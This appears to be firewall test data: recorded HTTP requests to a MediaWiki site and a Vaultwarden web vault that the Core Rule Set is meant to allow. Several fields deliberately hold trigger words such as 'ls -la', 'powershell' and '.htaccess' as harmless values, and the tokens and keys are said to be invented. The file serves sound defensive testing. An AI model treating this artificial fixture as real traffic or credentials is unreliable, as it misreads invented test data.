{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
|
||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALighthouse+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
|
||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
|
||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 161", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794271545%23fad50a8505bea134cc843d03608984cc; UseDC=master"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes%0D%0APowershell+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 179", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0ALs+-la+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 200", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALs+-la+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0A.htaccess+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
||||
@@ -0,0 +1,190 @@
|
||||
# Ordinary Vaultwarden 1.37.5 requests that the Core Rule Set must let through
|
||||
# at the defaults. They were recorded from the web vault driven by a headless
|
||||
# Chrome, from the Bitwarden command line client and from the admin page. Each
|
||||
# line is one request as JSON. Addresses, passwords and tokens are invented,
|
||||
# and the encrypted contents of uploaded files are written as base64.
|
||||
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Sec-Ch-Ua-Platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0, i"], "body": ""}
|
||||
{"method": "GET", "target": "/theme_head.6991036cc6ce1ab5eee1.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||
{"method": "GET", "target": "/styles.7b4e836b041b0b1d10ae.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
|
||||
{"method": "GET", "target": "/css/vaultwarden.css", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
|
||||
{"method": "GET", "target": "/app/polyfills.11c471dc266a0d8811d6.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||
{"method": "GET", "target": "/app/vendor.55e794a42a5fe0d2e9eb.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||
{"method": "GET", "target": "/app/main.1176a28a68b7b4809391.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||
{"method": "GET", "target": "/styles.31d6cfe0d16ae931b73c.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||
{"method": "GET", "target": "/images/logo.svg", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: image", "Referer: https://example.com/styles.7b4e836b041b0b1d10ae.css", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: i"], "body": ""}
|
||||
{"method": "GET", "target": "/fonts/bwi-font.9ae6e12297499bbf04d1.ttf", "headers": ["Host: example.com", "Origin: https://example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: font", "Referer: https://example.com/styles.7b4e836b041b0b1d10ae.css", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
|
||||
{"method": "GET", "target": "/fonts/inter.c504db5c06caaf7cdfba.woff2", "headers": ["Host: example.com", "Origin: https://example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: font", "Referer: https://example.com/styles.7b4e836b041b0b1d10ae.css", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=0"], "body": ""}
|
||||
{"method": "GET", "target": "/368.238d87538b99dd2b92c7.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
|
||||
{"method": "GET", "target": "/466839efc4da38d60ce3.module.wasm", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "GET", "target": "/locales/en/messages.json?cache=rjxzf", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/identity/accounts/register/send-verification-email", "headers": ["Host: example.com", "Content-Length: 83", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 6b36c635-12c1-4537-bc69-64f3507abc05", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\",\"name\":\"Alice python3\",\"receiveMarketingEmails\":false}"}
|
||||
{"method": "GET", "target": "/api/config", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
|
||||
{"method": "POST", "target": "/identity/accounts/register/finish", "headers": ["Host: example.com", "Content-Length: 3342", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Device-Identifier: 8e633b72-6e86-4a9f-90b1-5ca04f7739a8", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"email\":\"alice@example.com\",\"masterPasswordHint\":\"the .htaccess one, not powershell\",\"userAsymmetricKeys\":{\"publicKey\":\"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAp/QxIhy+mWJONpBHj7f0bsWUlAol0BDrSMyLhtedzAX13cQaBENMlUny6VKHY9mpvAghYt+d/R8asNIhAGmdJl7t0bKvWrOk4ley7KITbaVHo3PZQoNHbHntf1tPvXj36jWlv1kT083of/2OFzN26P3wnmiQacoWL1PvdpXv0iVMGl6ZitiSTPFGUwPiRN8slYOoMJlJ06iw8ppRSVLqFlHIG4pitmfAv94GiDtAmVPtpTYnMLRcq6bgGF/9AiFwD3ZuOGeD5qVx2H87PRylV2durdfHhVvdqhCtDL4JpLgpUWxuxtfnd7mRCEkqJg8f9Jb7EKLJ6R5373fjfZAuZwIDAQAB\",\"encryptedPrivateKey\":\"2.C6b36YRSVHGD3787nIdlNQ==|DOBa79iUH9i3un4pY36/tZROc7Dr6241IoCBhvutyzWT2nwzlgw5JY+agdADPwUj8cd10e7o0YA+L9bNpGl3+L6gjFaBVdfiGk8qDoym0LQPR6mavqHOKTKR0rY9xcWSMSMONEZQvBmzYISC4EBcPKCEaA6FVCarp+iTkzP0RVHlSwm6HU+Pl6nLMX9LmL8viJKB22igPq12HgeIVUd2JKLmJMa80idyh1sxQ176fx1cy9mZcPTAAS8hBX6s67iRIfv3qi2oJD7M3ErGlljv/+4k700MIKJcURHyV84r9RURwi9VDBppZ74MBWd39Fo6wVA91MF8kPwpeFXHH+F0NKwoFZa7SheF+jZbta1FWrWdlYlpUVYpUPPSviJCk9PQUT67EdnS6zRkA7XcRlsukzJNcZjS4/fCvuktjWaKbR4uIDtAWKln9+ElgiVarbWFHSZILi80f4wh4s/EPUMmqNw9e+whjw2DIM/dydk6kfmEyMZam/Slg8b9+uqylmtkpD8wJd2aHD3Q6Iw2Q8h7gFgg0yRKRXc+rEjMAnG/cHiIcWpDDPVj+bYYCMCfpfGRI0t6XBfHtHfCtXUb6CMt+bN67ZThGKZawMYw8bhNmj5vkqbT8FbMS3mbD9dIdAZrO6seQxyO6UdpWpTIl51jHVUSwUo5Tfet/9NXRipl+M0jSFhWcs6grG0O9r340SehWMQxWNgp8IWNYwEJy5IwldC2Z3AAm3v9Cpmeoh/59szBwVVHkIukDwKkFNFRXG/85NIVdDcTbuZNeTVjDGNg57n/4l6ydh5XjGPDKW+VW1Q+a4r4P3GfmzjLP38B6s60PiRBPVuxQTQbsADhLllyTwu+W1OvLwv2SLWCJ6QGTuOgOtmaZ8z4sLnzox1RaTVmSYvOaYpfyIMQtR9YcRR9G2GPLXtGfyWM6dQlsZG3GzBNMID1l6J2OJy5lAbHNslLOQRk3OnR3N+I9z8q9NnPbklBE5cRkTEP1uIWkkNpujBTMmTTYHmGdRONpkOLeUOkr9kBtndArjIHlvyHdPsDzB5pQGTWCFj0APQWepEA1EODqvvo3mlNUMmH0UJjl0xD6Hw6p+bf6bcUoVwuCuH5Oqt875P2LQesldQ0W3IWbV7EZ7CTbmZPi33tUfGMtN/5NRfY6OhcevRBrGbIpsCLeVOZx6aWoPxSpKhQPycyHIC3s+kI